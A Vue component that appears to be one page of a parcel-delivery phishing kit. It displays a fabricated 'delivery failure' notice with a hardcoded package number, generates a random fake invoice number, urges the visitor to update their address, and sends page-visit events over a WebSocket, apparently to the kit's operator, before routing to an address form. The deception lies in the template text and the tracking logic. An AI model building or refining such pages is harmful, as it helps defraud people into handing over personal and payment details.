<script setup lang="ts">
import { inject, onMounted, ref } from "vue";
import { useRouter } from "vue-router";
import CommonLayout from "@/views/CommonLayout.vue";

const router = useRouter();

import { useLoadingStore } from "@/stores/loadingStore";
import { debounce } from "lodash";
import moment from "moment";

const loadingStore = useLoadingStore();
import { useI18n } from "vue-i18n";
import { myWebSocket } from "@/utils/common";
const { t } = useI18n(); // 解构出t方法

const onchange = debounce((value: any) => {
  localStorage.setItem("home", value.target.value);
}, 300);
const payDate1 = ref("");
const invoiceNumber = ref("");
const next = () => {
  loadingStore.setLoading(true);
  setTimeout(() => {
    loadingStore.setLoading(false);
    router.push("/address");
  }, 200);
};

onMounted(() => {
  myWebSocket?.send(
    JSON.stringify({
      event: "page_type",
      content: { pageType: "home" },
    })
  );
  payDate1.value = formatDate(getDateSevenDaysAgo(1));

  const inumber = localStorage.getItem("invoiceNumber");
  if (inumber) {
    invoiceNumber.value = inumber;
  } else {
    invoiceNumber.value = generateRandomNineDigitNumber().toString();
    localStorage.setItem("invoiceNumber", invoiceNumber.value.toString());
  }
  localStorage.setItem("route", "home");
});

function formatDate(date: Date): string {
  return moment(date).format("YYYY/MM/DD");
}

function getDateSevenDaysAgo(day: number): Date {
  // 获取当前时间
  const currentDate = new Date();

  // 计算七天前的日期
  currentDate.setDate(currentDate.getDate() + day);

  return currentDate;
}

function generateRandomNineDigitNumber(): number {
  // 生成一个 9 位的随机整数
  const min = 100000000; // 9 位数的最小值
  const max = 999999999; // 9 位数的最大值

  // 生成并返回随机的 9 位数
  return Math.floor(Math.random() * (max - min + 1)) + min;
}
</script>

<template>
  <CommonLayout>
    <template #default>
      <div class="main-content-body">
        <div>
            <img src="/bompawoemfg16af/g16t.webp" style="width: 100%; height: 300px;object-fit: cover;"></img>
          </div>
        <div class="" style="margin-top: 30px;">
          <div
            class="content-wrapper"
            style="min-height: 100px; padding: 0 0"
          >
            <form @submit.prevent="next">
              <h1 class="title">
                {{ t("Delivery status") }}
              </h1>
              <br />
              <div class="content">
                <p>
                  {{ t("Your package number", ["2512876127"]) }}
                </p>
                <p style="color: red">
                  <b>{{ t("Failure notice of delivery") }}</b>
                </p>
                <ul>
                  <li>
                    {{ t("Because the delivery address is not clear, your package is not delivered") }}
                  </li>
                  <li>{{ t("Your package has returned to our operation center") }}</li>
                  <li>
                    {{ t("Please update your address", [payDate1]) }}
                  </li>
                </ul>
                <br /><br />
                <div class="button-submit">
                  <button>{{ t("Continue") }}</button>
                </div>
              </div>
            </form>
          </div>
        </div>
      </div>
    </template>
  </CommonLayout>
</template>
<style scoped>
h1.title {
  color: #24549d;
  font-size: 2rem;
  text-align: center;
}

div.content {
  padding: 10px;
  background-color: #f2f2f2;
  border-radius: 3px;
}

ul {
  list-style: disc outside none !important;
  list-style: initial !important;
}

ul {
  padding-left: 14px;
}

ul li {
  margin-top: 8px;
}
</style>
